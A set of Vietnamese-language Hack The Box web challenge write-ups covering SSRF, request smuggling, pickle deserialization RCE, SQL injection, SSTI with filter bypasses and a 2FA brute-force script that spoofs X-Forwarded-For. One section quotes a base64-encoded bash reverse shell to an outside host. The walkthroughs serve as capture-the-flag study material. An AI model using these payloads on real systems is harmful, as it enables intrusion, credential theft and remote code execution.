---
# System prepended metadata

title: WEB - HTB

---

## PDFy

![image](https://hackmd.io/_uploads/SyKVdjLF0.png)
mục tiêu là cần đọc /etc/passwd của server

![image](https://hackmd.io/_uploads/HJBQOsUt0.png)

web cung cấp cho ta chức năng chuyển đổi 1 web thành pdf trả về cho user thông qua url user cung cấp

mình thử nhập http://127.0.0.1 thì thấy báo lỗi sử dụng wkhtmltopdf, dùng để chuyển html sang pdf
![image](https://hackmd.io/_uploads/S1wcsjUtC.png)


mình dự đoán các bước mà nó thực hiện như sau:
1. user nhập và gửi url tới server
2. server gửi resquest tới url đích 
3. url đích response trở về server
4. server convert to PDF
5. server response về user

câu hỏi mình đặt ra: liệu mình có thể yêu cầu chính server request tới chính nó không ?
Tới đây mình nghĩ tới SSRF

mình tiến hành code exploit như sau:
```
<?php
    header('location:file:///etc/passwd');
?>
```
up lên server của mình, sau đó gửi url cho server để nó trả về pdf file /etc/passwd

![image](https://hackmd.io/_uploads/rJh_ni8Y0.png)

NOTE: khi upload exploit lên server hacker không được để script đó exec, nếu không server sẽ trả về /etc/passwd của server hacker


## Insomnia
![image](https://hackmd.io/_uploads/Bkofeh8KR.png)

1 chall có source code
![image](https://hackmd.io/_uploads/BkeVg3LKA.png)

có các feature signup, signin. mình thử signup rồi dùng thử xem nó có gì bên trong 

![image](https://hackmd.io/_uploads/SJ3kWnIYA.png)

có vẻ như khi login với user bình thường sẽ không có gì xảy ra :))

![image](https://hackmd.io/_uploads/S1Zqb28FC.png)

nhìn token khá quen mắt =)), là JWT, mình tiến hành decode base64

![image](https://hackmd.io/_uploads/BJUyz28tC.png)

thuật toán khóa đối xứng HS256, giá trị timestamp, username trong data. mình đã thử change `HS256` to `none` nhưng không có kết quả gì xảy ra.

View source code
![image](https://hackmd.io/_uploads/r1QPz2UFC.png)

nếu đăng nhập được vào `administrator` thì sẽ có flag trả về

![image](https://hackmd.io/_uploads/Skzb73IF0.png)

xem qua func regester mình có thêm hướng khai thác là sql injection khi đăng kí tài khoản, nhưng khi view qua func login thì mình thấy câu query như sau:

![image](https://hackmd.io/_uploads/BJRGE3UFA.png)

nó chỉ lấy value của users trong $json_data, sau đó check và gene token jwt

lướt lên trên mình thấy có điểm nghi ngờ

![image](https://hackmd.io/_uploads/rJ-K43UKA.png)

rõ ràng là $json_data sẽ có 2 tham số là username và password. Ở đây nó đang đếm số lượng tham số của $json_data sau đó lấy phủ định của count so sánh với 2.
Ví dụ nếu count($json_data) = 2, thì !2 sẽ không bằng 2 nên sẽ return FALSE
Điều này làm cho điều kiện luôn là FALSE, và message sẽ không được trả về. Nó chỉ xảy ra khi count($json_data) = 0, khi đó !0 = TRUE

Kết hợp lại mình tiến hành chỉ truyền 1 tham số cho $json_data trong burp repeater

![image](https://hackmd.io/_uploads/HyjounUFR.png)

thay username = administrator, lấy token và BOOM

![image](https://hackmd.io/_uploads/SyQzY3LKC.png)


## jscalc

![image](https://hackmd.io/_uploads/SyfSWCvtA.png)

![image](https://hackmd.io/_uploads/S1ivWRPFA.png)

có vẻ như nó là 1 tool calc dùng `eval()` để đánh giá và exec

![image](https://hackmd.io/_uploads/rJibG0wtC.png)

View source code:
![image](https://hackmd.io/_uploads/S1kk7CwtA.png)

 
nó có 2 router get và post xử lí yếu cầu tới path tương ứng

mình chú ý tới router.post, ở đây nó khởi tạo 1 biến `formula` lấy data từ req.body, đây là biến mà mình có thể kiểm soát được
Nếu có giá trị nó sẽ gọi method `Calculator` với value là `formula` truyền vào để tính toán rồi return ra result

![image](https://hackmd.io/_uploads/SJ3bECDKA.png)

dùng eval() để đánh giá và exec, all right. Theo kinh nghiệm, mình sẽ dùng eval() để đọc file trên server


`keyword search: how to read directory in nodeJS`

![image](https://hackmd.io/_uploads/r1dRVAPFA.png)

payload của mình như sau:
```
require('fs').readdirSync('/').toString()
```
![image](https://hackmd.io/_uploads/S1grBADKA.png)

giờ đọc flag.txt với `readFileSync()`

![image](https://hackmd.io/_uploads/BkN2BADKR.png)


## ApacheBlaze
![image](https://hackmd.io/_uploads/SJr0I0PKR.png)

đọc des chả có gì để hiểu :))

![image](https://hackmd.io/_uploads/Sy1GvAPt0.png)
click vào game 4 sẽ có message: `This game is currently available only from dev.apacheblaze.local`

mình view source

![image](https://hackmd.io/_uploads/B13rnCwYC.png)

tại dòng 23 check header `X-Forwarded-Host`, nếu nó là `dev.apacheblaze.local` thì return FLAG

![image](https://hackmd.io/_uploads/SJ-6hRDFA.png)

mình thử inject thêm nhưng kết quả vẫn không nhận được FLAG, nhận được thì dễ quá ;))

chall này có source nhưng mình đã thử build dockerfile để debug nhưng méo được, cayy, nên khi inject X-ForwarHost vào req mình không debug được nó có những máy chủ nào ngoài dev.apacheblaze.local. Cái này mình suy luận thôi vì nếu nó chỉ có 1 máy chủ dev.apacheblaze nó sẽ nhả ngay Flag ra cho mình

mình view source httpd-conf
![image](https://hackmd.io/_uploads/SyjtH1OKR.png)

ở đây mình thấy nó config dòng 13 và 14. 

![image](https://hackmd.io/_uploads/Hkgl81uK0.png)

tiếp file conf
![image](https://hackmd.io/_uploads/HyCmUk_YA.png)

```
Khi hoạt động ở chế độ reverse-proxy (ví dụ, sử dụng chỉ thị ProxyPass), mod_proxy_http thêm một số tiêu đề yêu cầu để truyền thông tin đến máy chủ gốc. Các tiêu đề này là: 

X-Forwarded-For 
    Địa chỉ IP của máy khách. 
X-Forwarded-Host 
    Máy chủ gốc được máy khách yêu cầu trong tiêu đề yêu cầu HTTP Host. 
X-Forwarded-Server 
    Tên máy chủ của máy chủ proxy.
```

mình dự đoán là trong X-Forwarded-Host ngoài dev.apacheblaze.local sẽ còn có 2 máy chủ khác là `reverse proxy và load balancer` hoạt động trên port 1337 và 8080

giờ mục tiêu của mình là làm thế nào để sao cho X-Forwarded-Host không chứa 2 máy chủ chạy trên port 1337 và 8080

Để ý ở dòng 26,27 của file conf, feature RewriteEngine được bật `on`, nó sẽ giúp viết lại url 

`
Quy tắc viết lại này chuyển hướng các yêu cầu với đường dẫn bắt đầu bằng /api/games/ đến http://127.0.0.1:8080/, với phần còn lại của đường dẫn (sau /api/games/) được gán cho tham số game trong URL mới.
Ví dụ: Yêu cầu đến /api/games/123 sẽ được chuyển đến http://127.0.0.1:8080/?game=123.
[P] là một flag cho biết yêu cầu này nên được xử lý bởi mod_proxy (proxy pass), tức là yêu cầu sẽ được chuyển tiếp đến URL mới mà không thay đổi URL hiển thị với người dùng.
`

đến đây mình search vulne của apache httpd-2.4.55 vì dockerFile sử dụng cái này

![image](https://hackmd.io/_uploads/rk0ktkOF0.png)

đây rồi, exploit by HTTP request Smuggling

![image](https://hackmd.io/_uploads/rJPLFy_FR.png)

server không báo lỗi gì, đến đây mình inject thêm `Host` vào req đầu tiền rồi CRLF cho req thứ 2 
```
GET /api/games/click_topia%20HTTP/1.1%0d%0aHost:dev.apacheblaze.local%0d%0a%0d%0aGET%20/chandoi HTTP/1.1
```

![image](https://hackmd.io/_uploads/rJilqJuKR.png)

NOTE: giải thích lại, vì apache đóng vai trò như 1 proxy chuyển tiếp yêu cầu từ user nên không dùng X-Forwarded-Host được, thay vào đó mình chỉ định luôn Host để phân biệt với virtual Host mà apache proxy thêm vào

## ProxyAsAService
![image](https://hackmd.io/_uploads/Hy9PNzYYA.png)

bài này mình build docker rồi làm trên local, vì trên server nó trỏ tới reddit mình kh có account nên không vô được
![image](https://hackmd.io/_uploads/B13vN3tKC.png)

mình chú ý tới para url 
tiến hành view source

DockerFile
```
FROM python:3.10-alpine

# Install packages
RUN apk add --update --no-cache libcurl curl-dev build-base supervisor

# Upgrade pip
RUN python -m pip install --upgrade pip

# Install dependencies
RUN pip install Flask requests

# Setup app
RUN mkdir -p /app

# Switch working environment
WORKDIR /app

# Add application
COPY challenge .

# Setup supervisor
COPY config/supervisord.conf /etc/supervisord.conf

# Expose port the server is reachable on
EXPOSE 1337

# Disable pycache
ENV PYTHONDONTWRITEBYTECODE=1

# Place flag in environ
ENV FLAG=HTB{f4k3_fl4g_f0r_t3st1ng}

# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]

```

mình thấy FLAG nằm trong biến ENV

```
from flask import Blueprint, request, Response, jsonify, redirect, url_for
from application.util import is_from_localhost, proxy_req
import random, os

SITE_NAME = 'reddit.com'

proxy_api = Blueprint('proxy_api', __name__)
debug     = Blueprint('debug', __name__)


@proxy_api.route('/', methods=['GET', 'POST'])
def proxy():
    url = request.args.get('url')

    if not url:
        cat_meme_subreddits = [
            '/r/cats/',
            '/r/catpictures',
            '/r/catvideos/'
        ]

        random_subreddit = random.choice(cat_meme_subreddits)

        return redirect(url_for('.proxy', url=random_subreddit))
    
    target_url = f'http://{SITE_NAME}{url}'
    response, headers = proxy_req(target_url)

    return Response(response.content, response.status_code, headers.items())

@debug.route('/environment', methods=['GET'])
@is_from_localhost
def debug_environment():
    environment_info = {
        'Environment variables': dict(os.environ),
        'Request headers': dict(request.headers)
    }

    return jsonify(environment_info)
```
có 2 route là proxy_api và debug
mình chú ý tới route debug vì nó gọi hàm debug_environment list ra các biến env bằng os.environ với điều kiện req gọi từ localhost

mình thử payload sau: 
```
@127.0.0.1:1337/debug/environment
```

![image](https://hackmd.io/_uploads/BJzRI2FY0.png)

có vẻ như có gì đó bị filter

![image](https://hackmd.io/_uploads/HkjzvnFtR.png)

oke, nó đã filter một số address cho localhost, tuy nhiên vẫn còn cách bypass, đó là dùng` 0.0.0.0`

thay đổi payload : `@0.0.0.0:1337/debug/environment`
![image](https://hackmd.io/_uploads/rkDKDntFA.png)

## RenderQuest
![image](https://hackmd.io/_uploads/rJiRthtt0.png)
![image](https://hackmd.io/_uploads/SyHxcnKFC.png)

web cung cấp cho ta feature render link, mình thử nhập http://google.com
![image](https://hackmd.io/_uploads/HJ6G92KFR.png)

tuy nhiên không search được đâu nhé =)), vì nó có redirect đâu

có 2 para là user_remote và page được thêm vào url. Mình nghi ngờ tới SSRF

mình view source

hàm `main`
![image](https://hackmd.io/_uploads/rynMp3Yt0.png)

mình thấy có func `FetchServerInfo` chứa exec dùng thực thi command nguy hiểm, lưu ý chỗ này
![image](https://hackmd.io/_uploads/Skon63FY0.png)

mình tiếp tục xem hàm này được gọi ở đâu.
![image](https://hackmd.io/_uploads/B1L1k6YYR.png)

mấy thằng này được gọi trong func `getTpl`, mà trong main có thằng `/render` dùng tới th này, mình tập trung vào /render.

và khi gọi
![image](https://hackmd.io/_uploads/rkuEbaKK0.png)
các két quả trả về từ `FetchServerInfo` được in ra

Tóm lại: main định tuyền `/render` tới `getTpl`, trong func `getTpl` gọi tới `FetchSerserInfo` mà tại đó nó exec command

câu hỏi mình đặt ra là: làm thế nào để gọi được thằng `	reqData.ServerInfo.Hostname = reqData.FetchServerInfo("hostname")`
Sau khi gg search mình biết được là trong Go, giá trị như này được truyền vào qua template HTML và hiển thị thông qua template `.tpl`

tiến hành code exploit:
```
<!DOCTYPE html>
<html lang="en">
<head>
   <title>exploit</title>
</head>
<body>
    <h2>Hostname: {{.ServerInfo.Hostname}}</h2>
</body>
</html>
```
![image](https://hackmd.io/_uploads/BJPo7pKYR.png)

mình sẽ thay goi tới `FetchServerInfo` và truyền cmd là `ls /` 

![image](https://hackmd.io/_uploads/Hyf4SpYtA.png)

lấy flag
![image](https://hackmd.io/_uploads/r17qBTYtC.png)


## C.O.P
![image](https://hackmd.io/_uploads/S1kE8CFKC.png)

![image](https://hackmd.io/_uploads/B1ir8RYFR.png)

chall cung cấp 1 web bán hàng
lướt qua thì mình không thấy có feature gì nổi bật, mình view source

```
#app.py

from flask import Flask, g
from application.blueprints.routes import web
import pickle, base64

app = Flask(__name__)
app.config.from_object('application.config.Config')

app.register_blueprint(web, url_prefix='/')

@app.template_filter('pickle')
def pickle_loads(s):
	return pickle.loads(base64.b64decode(s))

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None: db.close()
```
mình thấy nó import module pickle tác dụng tương tự như serialization

tại document của python có warning
![image](https://hackmd.io/_uploads/BJ30M49KC.png)

có thêm func pickle_load() để deserialization

nhưng func này được gọi ở đâu? Nó sẽ được gọi trong template HTML, ở chall này theo source thì như sau:
![image](https://hackmd.io/_uploads/rJewvNcKA.png)

```
run.py 

from application.app import app
from application.database import migrate_db

with app.app_context():
    migrate_db()

app.run(host='0.0.0.0', port=1337, debug=False, use_evalex=False)
```
mình sẽ xem func `migrate_db()` thế nào.
![image](https://hackmd.io/_uploads/Sy20VN9tA.png)

nó định nghĩa mảng `items` chứa các thông tin về sản phẩm, sau đó hàm `map` sử dụng hàm `lambda` lên từng phần trong `items`. Nó chuyển `Item` thành chuỗi nhị phân bằng `pickle.dump(x)`, sau đó encode base64 trả về `shop`

tiếp đó đưa các giá trị của `shop` vào db
Mình đã check thêm về filter lỗi SQLi rồi, hoàn toàn không có cơ chế phòng thủ, chúng ta có thể lợi dụng lỗi này

### Okee, tổng hợp lại chúng ta có :
1. Sử dụng module nguy hiểm `pickle` để serialization/deserialization sản phẩm lưu trong db
2. Lỗi SQL injection

Việc cần làm bây giờ là tạo base64 của payload bằng pickle rồi tận dụng lỗi SQL injection thực thi nó.Mình tiến hành code python:
```
import pickle
import base64
import os

payload = 'cp flag.txt application/static/.'

class RCE:
    def __reduce__(self):
        return os.system, (payload,)

if __name__ == '__main__':
    print(base64.urlsafe_b64encode(pickle.dumps(RCE())).decode('ascii'))


#run python lấy payload
```

truy cập vào `http://94.237.59.199:33988/view/'UNION SELECT '<payload>`, sau đó truy cập tới `http://94.237.59.199:33988/static.flag.txt` nhận đc flag
![image](https://hackmd.io/_uploads/rJc6mBcYA.png)


## Neonify
![image](https://hackmd.io/_uploads/rJCy4SctA.png)
![image](https://hackmd.io/_uploads/rJW_wrqtA.png)
mình thử nhập payload test xss `<h1>khiem</h1>` thì:
![image](https://hackmd.io/_uploads/BJs5vB9FC.png)

view source:
![image](https://hackmd.io/_uploads/BklhPSqYR.png)

mình cứ nghĩ là nó dính xss nhưng có vẻ không phải =)), khả năng cao là SSTI

mình thấy trong biểu thức regex chỉ có cờ i để không phân biệt chữ hoa, thường. nhưng lại không có cờ m (multi line)

mình thử inject `%0a` tương ứng với newline xem sao. Nhớ encode

payload: `khiem%0akhiem` thành công, xác nhận lỗi SSTI với regex thiếu cờ `m`

![image](https://hackmd.io/_uploads/r1ikFB5t0.png)

dựa luôn vào index.erb mình thử truyền payload: `khiem%0a<%= 1+1 %>` sau khi encode thành `khiem%0a<%25%3d1*2%25>`
![image](https://hackmd.io/_uploads/BJTHcS5YA.png)
list ls
![image](https://hackmd.io/_uploads/rJ0Y9ScKA.png)
đọc flag
![image](https://hackmd.io/_uploads/Hk3jqB5FR.png)

## DoxPit
![image](https://hackmd.io/_uploads/rk04IzjK0.png)
![image](https://hackmd.io/_uploads/HyGuIfoYA.png)
chỉ có `hall of fame` trả về nội dung, còn lại trả về `error`

mình view source code:
![image](https://hackmd.io/_uploads/Byz5vzoKC.png)

mình phải đọc được file flag.txt, hoặc là LFI, hoặc là RCE,..

![image](https://hackmd.io/_uploads/BJiQdMjtA.png)
tại `routes.py` có các route login,register,... mà trong khi đó ở trang index không có feature này, mình đã thử inject trong url rồi.

do đó mình sẽ chạy `python3 run.py` 
```
#run.py 

from application.app import app
from application.util.database import Database

if __name__ == "__main__":
    Database().migrate()
    app.run(host="0.0.0.0", port=3000, threaded=True, debug=False)
```
![image](https://hackmd.io/_uploads/HyK1YfjY0.png)
truy cập vào port 3000
![image](https://hackmd.io/_uploads/rJ_HFfjY0.png)
khi mình đăng kí tài khoản thì được nhả về 1 token
![image](https://hackmd.io/_uploads/rJSz9GoKR.png)
giao diện sau login
![image](https://hackmd.io/_uploads/rkJhqfoFA.png)

có chức năng cho ta scan directory
![image](https://hackmd.io/_uploads/SkTKTzjFC.png)
![image](https://hackmd.io/_uploads/SyTWAMit0.png)
nếu nhập vào các kí tự nằm trong `invalid_chars` thì sẽ trả về error
![image](https://hackmd.io/_uploads/r1cpaMoFC.png)
### SSTI
hàm `scan_directory` nhận path từ người dùng, sau đó tìm đệ quy tất cả các file trong thư mục đó và so sánh hash các file đó có nằm trong backlist không, nếu không thì trả về đưa kết quả vào template sau đó render, ở đây mình xác định được nó bị dính lỗi SSTI

dựa vào /templates/index.html mình xác định được Flask dùng jinja template

```
#scanner.py

import hashlib, os, datetime

BLACKLIST_HASHES = {
    "9c91a1b8c4da2d7588f3aecd76cdee7dba24d95f0874f79fa711c0b0a490e273",
    "cce955a091518aefb9693ba4e103cdc31afc138c9eb9503984bf08f5f70eff46",
    "a016313bc090d337a66dcefc7cc18a889f5c1cfc721185fa9ad7038159efb728",
    "c6ec11a31d4c28480f4ee3cc744792e12d7919cfffff5b7ca86649c904b7abda",
    "170477195896fb9c6688d56d6d6a4c3d2021fbc7cf01b38d45eb86fe94016333",
    "dbd741a45d840d06d708339f9e9824f2a0d745ea6537ca44bff233ba7441bfda",
    "049f48024f31d86c5d8bf56c3da1d7be539c877ad189fb0c5aa9a228601d19eb",
    "90efa2e75e2102942fba13cb4a5744530cd85e84fcfc8d7ddccdc17081ac3f69",
    "3e17df6d4f4f9f321f783a50e1f8b364203f181274ff217b0c2a216dff63d41f",
    "98942a0affa9721c90b097c2c6a9cd02959185526c3b7a44377a25b252a16fff",
    "c6ec11a31d4c28480f4ee3cc744792e12d7919cfffff5b7ca86649c904b7abda"
}

def calculate_sha256(filepath):
    sha256_hash = hashlib.sha256()
    with open(filepath, "rb") as file:
        for byte_block in iter(lambda: file.read(4096), b""):
            sha256_hash.update(byte_block)
    return sha256_hash.hexdigest()


def scan_directory(directory):
    scan_results = []
    for root, dirs, files in os.walk(directory):
        for file in files:
            file_path = os.path.join(root, file)
            try:
                file_hash = calculate_sha256(file_path)
                if file_hash in BLACKLIST_HASHES:
                    scan_results.append(f"Malicious file detected: {file} ({file_hash})")
                else:
                    scan_results.append(f"File is safe: {file} ({file_hash})")
            except Exception as e:
                scan_results.append(f"Error scanning file {file}: {str(e)}")

    return {
        "date": datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
        "scanned_directory": directory,
        "report": scan_results
    }
```

### SSRF
![image](https://hackmd.io/_uploads/Bksf5Ukq0.png)

như trong run.py mình thấy web chạy trên port 3000, do đó không thể truy cập trực tiếp. mình nghĩ tới SSRF để trigger SSTI. Qua quá trình racon mình phát hiện 
![image](https://hackmd.io/_uploads/SkYm58y5C.png)
ứng dụng sử dụng next.js 14.1.0, mình search vulnerability của nó 
![image](https://hackmd.io/_uploads/Byf4c819R.png)
exploit bằng cách sửa `Host` và `Next-Action` trong req header

Next-Action có thể tìm thấy trong source web
![image](https://hackmd.io/_uploads/HJ3bj81cR.png)


### Get FLAG
đầu tiên mình host lại 1 server redirect tới /register trigger lỗ hổng SSRF và lấy token để login
![image](https://hackmd.io/_uploads/SJ7Eo8kqR.png)
thành công lấy `token = c253332b2c93c56429110d961f3f001c`
![image](https://hackmd.io/_uploads/B1gFsL15C.png)

tiếp theo là payload SSTI, mình tham khảo từ hacktrick

`{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
`
vì có filter cho para `directory` nên mình cần sửa lại, lợi dụng `attr`, hàm này cho phép chúng ta lấy các thuộc tính mà không cần sử dụng dấu `.` . Do cũng không thể sử dụng \x nên việc encode hex là thừa thãi. 
Thay vào đó có thể sử dụng:
`request|attr(request.args.c) #Send a param like "?c=__class__`

sau khi tinh chỉnh payload mình có:
```
{%with a=((((request|attr('application'))|attr(request|attr("args")|attr("get")('globals')))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('builtins'))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('import'))('os')|attr('popen')(request|attr("args")|attr("get")('cmd'))|attr('read')()%}{%print(a)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=ls -l /
```
encode:
```
{%with%20a=((((request|attr(%27application%27))|attr(request|attr(%22args%22)|attr(%22get%22)(%27globals%27)))|attr(request|attr(%22args%22)|attr(%22get%22)(%27getitem%27)))(request|attr(%22args%22)|attr(%22get%22)(%27builtins%27))|attr(request|attr(%22args%22)|attr(%22get%22)(%27getitem%27)))(request|attr(%22args%22)|attr(%22get%22)(%27import%27))(%27os%27)|attr(%27popen%27)(request|attr(%22args%22)|attr(%22get%22)(%27cmd%27))|attr(%27read%27)()%}{%print(a)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=ls%20-l%20/
```

![image](https://hackmd.io/_uploads/rkpP6L150.png)
![image](https://hackmd.io/_uploads/HJX5T8ycR.png)

cat /flaga70608c6f3.txt
![image](https://hackmd.io/_uploads/Bkm-0L15A.png)







## No-Threshold

![image](https://hackmd.io/_uploads/Hy2RrYAYR.png)
![image](https://hackmd.io/_uploads/BJ9yIY0KC.png)

chỉ có feature login, nhưng khi click vào thì
![image](https://hackmd.io/_uploads/ByM-IY0FR.png)

lỗi 403 Forbidden với thông báo lỗi by administrator rules

mình research `bypass 403` từ Hacktrick
![image](https://hackmd.io/_uploads/r1Uq8KCFR.png)
ok thành công vào login
![image](https://hackmd.io/_uploads/SkshUY0tR.png)

mình view qua source `login.py`
![image](https://hackmd.io/_uploads/rJYlwKAt0.png)
có thể thấy query trực tiếp được gán value từ biến mà hacker kiểm soát được, dòng 28 dính lỗi SQL injection 100%

tại source entrypoint.sh mình thấy có `username= admin ` được insert vào database, ok vậy là mình đủ dữ liệu để exploit SQL injection
![image](https://hackmd.io/_uploads/rkXUDKAtC.png)

![image](https://hackmd.io/_uploads/B1cswFRYR.png)
nó redirect tới 1 trang 2FA, mình sẽ mở lên
![image](https://hackmd.io/_uploads/BJ_CvFRF0.png)

chỉ cho nhập 4 số, mình confirm được Code chạy từ 0000-9999, nảy số ra brute-force thôi.Nhưng
![image](https://hackmd.io/_uploads/SyApOFAY0.png)
có vẻ như nó chặn ip nếu mình req quá nhiều lần, bypass cái này dễ thôi, mình sẽ dùng `X-Forwarded-For`thêm vào header

tiến hành viết script exploit
```
import requests
import sys
from concurrent. futures import ThreadPoolExecutor

def get_combinations_in_array(path):
    with open(path, 'r') as f:
        return f.read().splitlines()


def handle_response(response, combination):
    if "Invalid 2FA Code!" in response.text:
        print(f'Try: {combination}\n')
        return
    elif "flag" in response.text:
        print(f'GOT IT!\n2FA Code: {combination}\n{response.text}\n')
        sys.exit()
    else:
        print(response.text)


def send_request(ip, combination, headers, url):
    headers['X-Forwarded-For'] = ip
    data = {'2fa-code': str(combination)}

    response = requests.post(url, headers=headers, data=data)
    handle_response(response, combination)


def send_all_requests(url, combinations_array):
    base_ip = '192.168.'
    current_ip_suffix = [1, 1]
    headers = {
        'Host': '94.237.49.212:56223',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Referer': '94.237.49.212:56223/./auth/verify-2fa',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '13',
        'Origin': '94.237.49.212:56223',
        'DNT': '1',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1',
    }

    # Multi-threading requests sending (see python ThreadPoolExecutor lib for more informations)
    with ThreadPoolExecutor(max_workers=100) as executor:
        futures = []

        for i, combination in enumerate(combinations_array, start=1):
            ip = base_ip + str(current_ip_suffix[0]) + '.' + str(current_ip_suffix[1])

            future = executor.submit(send_request, ip, combination, headers, url)
            futures.append(future)

            if i % 5 == 0:
                current_ip_suffix[1] += 1

            if current_ip_suffix[1] > 254:
                current_ip_suffix[1] = 1
                current_ip_suffix[0] += 1

            if current_ip_suffix[0] > 254:
                current_ip_suffix = [1, 1]

            for future in futures:
                future.result()


if __name__ == '__main__':
    combinations_path = 'E:/4-digits-0000-9999.txt'
    url ='http://94.237.49.212:56223/auth/verify-2fa'

    combinations_array = get_combinations_in_array(combinations_path)
    send_all_requests(url, combinations_array)
```
FLAG: `HTB{1_l0v3_h4pr0x1_4cl5_4nd_4ll_1t5_xxxxxxx}`


## Prying Eyes
![image](https://hackmd.io/_uploads/rkQF1P190.png)
![image](https://hackmd.io/_uploads/SJ9cyvk5A.png)

muốn đọc blog phải login
![image](https://hackmd.io/_uploads/BJvAkDJ9R.png)

có chức năng register, dùng thử như bình thường thôi nào
![image](https://hackmd.io/_uploads/ryXzeDJqA.png)
thêm feature `create new post`

![image](https://hackmd.io/_uploads/r1dHxP190.png)
click vào 1 post bất kì cho phép để lại message và attach image, mình nghĩ tới `XSS` và `Fileupload`, có thể tồn tại cả`SSTI`

để ý thêm url `http://83.136.255.41:35605/forum/post/1` có thể dính sql injection hoặc liên quan

![image](https://hackmd.io/_uploads/SkyClv19C.png)
mình tạo ra 1 bài viết mới, form được tạo ra giống với các bài viết trong web

view source

![image](https://hackmd.io/_uploads/Bkvi62y5R.png)
các câu query không nối trực tiếp các biến nên có thể sẽ không có khả năng bị SQL injection, mình sẽ không tập trung exploit nó nữa

```
router.post(
  "/post",
  AuthRequired,
  fileUpload({
    limits: {
      fileSize: 2 * 1024 * 1024,
    },
  }),
  ValidationMiddleware("post", "/forum"),
  async function (req, res) {
    const { title, message, parentId, ...convertParams } = req.body;
    if (parentId) {
      const parentPost = await db.getPost(parentId);

      if (!parentPost) {
        req.flashError("That post doesn't seem to exist.");
        return res.redirect("/forum");
      }
    }

    let attachedImage = null;

    if (req.files && req.files.image) {
      const fileName = randomBytes(16).toString("hex");
      const filePath = path.join(__dirname, "..", "uploads", fileName);

      try {
        const processedImage = await convert({
          ...convertParams,
          srcData: req.files.image.data,
          format: "AVIF",
        });

        await fs.writeFile(filePath, processedImage);

        attachedImage = `/uploads/${fileName}`;
      } catch (error) {
        req.flashError("There was an issue processing your image, please try again.");
        console.error("Error occured while processing image:", error);
        return res.redirect("/forum");
      }
    }

    const { lastID: postId } = await db.createPost(req.session.userId, parentId, title, message, attachedImage);

    if (parentId) {
      return res.redirect(`/forum/post/${parentId}#post-${postId}`);
    } else {
      return res.redirect(`/forum/post/${postId}`);
    }
  }
);
```
trong `forum.js` có route.post để upload 1 file định dạng ảnh lên với các value được lấy từ `req.body` như `title, message, parentId, ...convertParams` trong đó `...convertParams` đại diện cho các value khác nếu có trong req.body
Từ đó mình cofirm được rằng `convertParams` chính là unstrusted data mà mình có thể kiểm soát được

tiếp theo nó tạo random tên file với 16 byte rồi chuyển qua hex, lưu tại `./uploads/<hex>`

sau đó gọi const `convert`, lấy các giá trị từ req.body bao gồm cả `...convertParams` để chuyển ảnh sang định dạng `AVIF`. Trong đó `convert` đại diện cho lib `imagemagick-convert`
![image](https://hackmd.io/_uploads/r1zt16yqR.png)

mình nghi ngờ nó bị lỗi ở đây, mình đã research ra được cve liên quan đến `imagemagick-convert` [này](https://www.npmjs.com/package/imagemagick-convert)

đồng thời mình tìm được PoC tại [đây](https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py)

tiến hành exploit flag, tạo `poc.png` chứa payload đọc file flag.txt
![image](https://hackmd.io/_uploads/H14d-pkcC.png)

upload lên server
![image](https://hackmd.io/_uploads/H1GWMpJcA.png)

`exp.png` là ảnh đã được convert chứa nội dung của flag
download exp.png rồi chạy `poc.py` để lấy hex của Flag
![image](https://hackmd.io/_uploads/HyljMpyqC.png)
![image](https://hackmd.io/_uploads/BkhpGTJ9A.png)
1 chall không quá khó vì dễ dàng tìm đc PoC build payload







